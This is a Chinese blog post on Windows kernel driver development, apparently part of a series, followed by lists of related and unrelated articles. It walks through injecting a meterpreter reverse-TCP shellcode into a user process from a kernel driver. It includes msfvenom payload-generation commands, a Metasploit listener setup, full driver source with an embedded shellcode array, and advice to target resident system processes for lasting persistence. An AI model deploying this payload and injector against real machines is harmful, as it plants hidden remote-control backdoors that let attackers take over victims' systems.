还记得《驱动开发:内核LoadLibrary实现DLL注入》中所使用的注入技术吗,我们通过RtlCreateUserThread函数调用实现了注入DLL到应用层并执行,本章将继续探索一个简单的问题,如何注入ShellCode代码实现反弹Shell,这里需要注意一般情况下RtlCreateUserThread需要传入两个最重要的参数,一个是StartAddress开始执行的内存块,另一个是StartParameter传入内存块的变量列表,而如果将StartParameter地址填充为NULL则表明不传递任何参数,也就是只在线程中执行ShellCode代码,利用这个特点我们就可以在上一篇文章的基础之上简单改进代码即可实现驱动级后门注入的功能。

  • 被控主机IP: 10.0.66.11
  • 控制主机IP: 10.0.66.22

为了能实现反弹后门的功能,我们首先需要使用Metasploit工具生成一段ShellCode代码片段,以32位为例,生成32为反弹代码。

[root@localhost ~]# msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=10.0.66.22 lport=9999 -f c [root@localhost ~]# msfvenom -a x64 --platform Windows -p windows/x64/meterpreter/reverse_tcp \
-b '\x00\x0b' lhost=10.0.66.22 lport=9999 -f c

生成ShellCode代码片段如下图所示;

其次服务端需要侦听特定端口,配置参数如下所示;

msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set exitfunc thread
msf6 exploit(multi/handler) > set lhost 10.0.66.22
msf6 exploit(multi/handler) > set lport 9999
msf6 exploit(multi/handler) > exploit

服务端执行后则会进入侦听等待阶段,输出效果图如下所示;

此时我们使用如下代码片段,并自行修改进程PID为指定目标进程,编译生成驱动程序;

// 署名权
// right to sign one's name on a piece of work
// PowerBy: LyShark
// Email: me@lyshark.com #include "lyshark.h" // 定义函数指针
typedef PVOID(NTAPI* PfnRtlCreateUserThread)
(
IN HANDLE ProcessHandle,
IN PSECURITY_DESCRIPTOR SecurityDescriptor,
IN BOOLEAN CreateSuspended,
IN ULONG StackZeroBits,
IN OUT size_t StackReserved,
IN OUT size_t StackCommit,
IN PVOID StartAddress,
IN PVOID StartParameter,
OUT PHANDLE ThreadHandle,
OUT PCLIENT_ID ClientID
); // 远程线程注入函数
BOOLEAN MyInjectShellCode(ULONG pid, PVOID pRing3Address)
{
NTSTATUS status = STATUS_UNSUCCESSFUL;
PEPROCESS pEProcess = NULL;
KAPC_STATE ApcState = { 0 }; PfnRtlCreateUserThread RtlCreateUserThread = NULL;
HANDLE hThread = 0; __try
{
// 获取RtlCreateUserThread函数的内存地址
UNICODE_STRING ustrRtlCreateUserThread;
RtlInitUnicodeString(&ustrRtlCreateUserThread, L"RtlCreateUserThread");
RtlCreateUserThread = (PfnRtlCreateUserThread)MmGetSystemRoutineAddress(&ustrRtlCreateUserThread);
if (RtlCreateUserThread == NULL)
{
return FALSE;
} // 根据进程PID获取进程EProcess结构
status = PsLookupProcessByProcessId((HANDLE)pid, &pEProcess);
if (!NT_SUCCESS(status))
{
return FALSE;
} // 附加到目标进程内
KeStackAttachProcess(pEProcess, &ApcState); // 验证进程是否可读写
if (!MmIsAddressValid(pRing3Address))
{
return FALSE;
} // 启动注入线程
status = RtlCreateUserThread(ZwCurrentProcess(),
NULL,
FALSE,
0,
0,
0,
pRing3Address,
NULL,
&hThread,
NULL);
if (!NT_SUCCESS(status))
{
return FALSE;
} return TRUE;
} __finally
{
// 释放对象
if (pEProcess != NULL)
{
ObDereferenceObject(pEProcess);
pEProcess = NULL;
} // 取消附加进程
KeUnstackDetachProcess(&ApcState);
} return FALSE;
} VOID Unload(PDRIVER_OBJECT pDriverObj)
{
DbgPrint("[-] 驱动卸载 \n");
} NTSTATUS DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegPath)
{
DbgPrint("Hello LyShark.com \n"); ULONG process_id = 5844;
DWORD create_size = 1024;
DWORD64 ref_address = 0; // -------------------------------------------------------
// 应用层开堆
// ------------------------------------------------------- NTSTATUS Status = AllocMemory(process_id, create_size, &ref_address); DbgPrint("对端进程: %d \n", process_id);
DbgPrint("分配长度: %d \n", create_size);
DbgPrint("分配的内核堆基址: %p \n", ref_address); // 设置注入路径,转换为多字节
UCHAR ShellCode[] =
"\xdb\xde\xd9\x74\x24\xf4\x5a\xbe\x12\x21\xe9\xef\x31\xc9\xb1"
"\x59\x31\x72\x19\x83\xc2\x04\x03\x72\x15\xf0\xd4\x15\x07\x7b"
"\x16\xe6\xd8\xe3\x26\x34\x51\x06\x2c\x33\x30\xf8\x26\x11\xb9"
"\x73\x6a\x82\x4a\xf1\xa3\xa5\xfb\xbf\x95\x88\xfc\x0e\x1a\x46"
"\x3e\x11\xe6\x95\x13\xf1\xd7\x55\x66\xf0\x10\x20\x0c\x1d\xcc"
"\xe4\x65\xb3\xe1\x81\x38\x0f\x03\x46\x37\x2f\x7b\xe3\x88\xdb"
"\x37\xea\xd8\xa8\x90\xcc\x53\xe6\x38\x5d\x65\x25\xbd\x94\x11"
"\xf5\xf7\x17\x25\x8e\x3c\xd3\xd8\x46\x0d\x23\x76\xa7\xa1\xae"
"\x86\xe0\x06\x51\xfd\x1a\x75\xec\x06\xd9\x07\x2a\x82\xfd\xa0"
"\xb9\x34\xd9\x51\x6d\xa2\xaa\x5e\xda\xa0\xf4\x42\xdd\x65\x8f"
"\x7f\x56\x88\x5f\xf6\x2c\xaf\x7b\x52\xf6\xce\xda\x3e\x59\xee"
"\x3c\xe6\x06\x4a\x37\x05\x50\xea\xb8\xd5\x5d\xb6\x2e\x19\x90"
"\x49\xae\x35\xa3\x3a\x9c\x9a\x1f\xd5\xac\x53\x86\x22\xa5\x74"
"\x39\xfc\x0d\x14\xc7\xfd\x6d\x3c\x0c\xa9\x3d\x56\xa5\xd2\xd6"
"\xa6\x4a\x07\x42\xad\xdc\xa2\x92\xf3\x0a\xdb\x90\xf3\x15\x14"
"\x1d\x15\x09\x7a\x4d\x8a\xea\x2a\x2d\x7a\x83\x20\xa2\xa5\xb3"
"\x4a\x69\xce\x5e\xa5\xc7\xa6\xf6\x5c\x42\x3c\x66\xa0\x59\x38"
"\xa8\x2a\x6b\xbc\x67\xdb\x1e\xae\x90\xbc\xe0\x2e\x61\x29\xe0"
"\x44\x65\xfb\xb7\xf0\x67\xda\xff\x5e\x97\x09\x7c\x98\x67\xcc"
"\xb4\xd2\x5e\x5a\xf8\x8c\x9e\x8a\xf8\x4c\xc9\xc0\xf8\x24\xad"
"\xb0\xab\x51\xb2\x6c\xd8\xc9\x27\x8f\x88\xbe\xe0\xe7\x36\x98"
"\xc7\xa7\xc9\xcf\x5b\xaf\x35\x8d\x73\x08\x5d\x6d\xc4\xa8\x9d"
"\x07\xc4\xf8\xf5\xdc\xeb\xf7\x35\x1c\x26\x50\x5d\x97\xa7\x12"
"\xfc\xa8\xed\xf3\xa0\xa9\x02\x28\x53\xd3\x6b\xcf\x94\x24\x62"
"\xb4\x95\x24\x8a\xca\xaa\xf2\xb3\xb8\xed\xc6\x87\xb3\x58\x6a"
"\xa1\x59\xa2\x38\xb1\x4b"; // -------------------------------------------------------
// 写出数据到内存
// ------------------------------------------------------- ReadMemoryStruct ptr; ptr.pid = process_id;
ptr.address = ref_address;
ptr.size = strlen(ShellCode); // 需要写入的数据
ptr.data = ExAllocatePool(NonPagedPool, ptr.size); // 循环设置
for (int i = 0; i < ptr.size; i++)
{
ptr.data[i] = ShellCode[i];
} // 写内存
MDLWriteMemory(&ptr);
ExFreePool(ptr.data); // -------------------------------------------------------
// 执行开线程函数
// ------------------------------------------------------- // 执行线程注入
// 参数1:PID
// 参数2:LoadLibraryW内存地址
// 参数3:当前DLL路径
BOOLEAN flag = MyInjectShellCode(process_id, ref_address, 0);
if (flag == TRUE)
{
DbgPrint("[*] 已完成进程 %d | 注入地址 %p \n", process_id, ref_address);
} DriverObject->DriverUnload = Unload;
return STATUS_SUCCESS;
}

编译并在客户端运行这个驱动程序,则会将ShellCode反弹后门注入到PID=5844进程内,输出效果图如下所示;

此时回到服务端程序,则可看到反弹Shell会话,输出效果图如下所示;

当然该方法也可注入自定义ShellCode代码,也可实现对某个游戏的Call调用功能等,上文中只是为了通用性而演示的一个案例,在真实的实战环境中,读者可以将代码注入到系统常驻进程上,这样系统启动后自动注入代码以此来实现长久的权限维持。

驱动开发:内核ShellCode线程注入的更多相关文章

  1. 驱动开发之 创建线程函数PsCreateSystemThread

    PsCreateSystemThread 创建一个执行在内核模式的系统线程. 注意:创建线程必须用函数PsTerminateSystemThread强制线程结束.否则该线程是无法自动退出的. 函数原型 ...

  2. Windows驱动开发-内核常用内存函数

    搞内存常用函数 C语言 内核 malloc ExAllocatePool memset RtlFillMemory memcpy RtlMoveMemory free ExFreePool

  3. 用Visual studio2012在Windows8上开发内核驱动监视线程创建

    在Windows NT中,80386保护模式的“保护”比Windows 95中更坚固,这个“镀金的笼子”更加结实,更加难以打破.在Windows 95中,至少应用程序I/O操作是不受限制的,而在Win ...

  4. 《Windows内核安全与驱动开发》 4.4 线程与事件

    <Windows内核安全与驱动开发>阅读笔记 -- 索引目录 <Windows内核安全与驱动开发> 4.4 线程与事件 一.开辟一个线程,参数为(打印内容+打印次数),利用线程 ...

  5. 驱动开发:内核枚举进程与线程ObCall回调

    在笔者上一篇文章<驱动开发:内核枚举Registry注册表回调>中我们通过特征码定位实现了对注册表回调的枚举,本篇文章LyShark将教大家如何枚举系统中的ProcessObCall进程回 ...

  6. 驱动开发:内核枚举ShadowSSDT基址

    在笔者上一篇文章<驱动开发:Win10枚举完整SSDT地址表>实现了针对SSDT表的枚举功能,本章继续实现对SSSDT表的枚举,ShadowSSDT中文名影子系统服务描述表,SSSDT其主 ...

  7. Windows内核安全与驱动开发

    这篇是计算机中Windows Mobile/Symbian类的优质预售推荐<Windows内核安全与驱动开发>. 编辑推荐 本书适合计算机安全软件从业人员.计算机相关专业院校学生以及有一定 ...

  8. (转)Mac OS X内核编程,MAC驱动开发资源汇总

    一.Mac  OS  X内核编程开发官方文档: I/O Kit Fundamentals: I/O Kit基础 - Mac OS X系统内核编程 https://developer.apple.com ...

  9. Linux驱动开发必看详解神秘内核(完全转载)

    Linux驱动开发必看详解神秘内核 完全转载-链接:http://blog.chinaunix.net/uid-21356596-id-1827434.html   IT168 技术文档]在开始步入L ...

  10. 《windows内核安全与驱动开发》ctrl2cap中的ObReferenceObjectByName疑问

    国内有关于windows内核驱动这块的书籍实在是甚少,不过好在<windows内核安全与驱动开发>这本书还算不错(内容方面),但是不得不说这本书在许多地方存在着一些细节上的问题.比如我今天 ...

随机推荐

  1. mixins使用混入引入组件,并可以使用公共函数。组件类同名函数可以替代公共函数。使用$ref获得子元素数据和元素dom节点。使用$parents获得父元素数据。slot插槽的使用

    父组件: <template> <div class="box"> <Header > <div slot="left" ...

  2. jmeter分布式测试安装部署步骤

    一.下载linux版本的jdk ----注:下载的jdk和jmeter要与window的jdk和jmeter一致 下载地址:https://www.oracle.com/java/technologi ...

  3. ros-python学习样例笔记

    1.通信基本原理介绍 待写 2.三种通信方式的程序样例(python版) 2.1 topic 通信方式(非自定义和自定义) 2.1.1 创建工作空间和topic功能包 在ubuntu中打开命令行,输入 ...

  4. Django相关配置信息

    Django相关配置信息 1.配置数据库mysql 1.1 setting.py中配置信息 DATABASES = { 'default': { 'ENGINE': 'django.db.backen ...

  5. css中文字与图片对齐

    css中文字与图片对齐 第一种,使用vertical-align:middle .icon{ background-repeat:no-repeat; background-position:cent ...

  6. Ubuntu-管理开机自启动服务

    1. 管理服务启停工具 systemctl -- 将应用程序抽象为一个service,然后对这个service进行创建.启停.状态查看.配合journalctl进行日志管理 子命令 效果 start ...

  7. 「学习笔记」重修 FHQ-treap

    无旋 treap 的操作方式使得它天生支持维护序列.可持久化等特性. 无旋 treap 又称分裂合并 treap.它仅有两种核心操作,即为 分裂 与 合并.通过这两种操作,在很多情况下可以比旋转 tr ...

  8. 以SQLserver为例的Dapper详细讲解

    Dapper是一种轻量级的ORM(对象关系映射)工具,它提供了高效且易于使用的方式来执行数据库操作.Dapper是由Stack Overflow团队开发并维护的,它的主要目标是提供比EF更快.更直接的 ...

  9. C语言跳转浏览器打开指定URL

    #include <stdlib.h> int main() { // 定义要打开的URL char* url = "https://rjku.gitee.io/"; ...

  10. Golang defer使用

    学习于https://www.liwenzhou.com/posts/Go/function/的文章 1. defer的执行顺序类似于栈,"后进先出",也就是最先defer的语句最 ...